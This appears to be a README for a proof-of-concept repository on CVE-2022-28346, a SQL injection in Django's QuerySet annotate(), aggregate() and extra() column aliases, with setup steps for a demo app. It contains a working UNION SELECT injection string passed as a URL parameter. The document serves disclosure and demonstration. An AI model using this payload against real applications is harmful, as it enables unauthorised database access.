CVE-2022-28346 PoC — Django SQL注入漏洞

Description

An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.

介绍

<h1 align="center">CVE-2022-28346 PoC <a href="https://twitter.com/intent/tweet?text=CVE-2022-28346 PoC : https://github.com/ahsentekdemir/CVE-2022-28346"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1>


### Impact:
- Potential SQL injection in QuerySet.annotate(), aggregate(), and extra().





## Installation 
```
poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver
```

## PoC
```
?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --
```
![poc-image](./poc.png)

## References
[CVE Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28346)

[Django](https://www.djangoproject.com/weblog/2022/apr/11/security-releases/)

文件快照

备注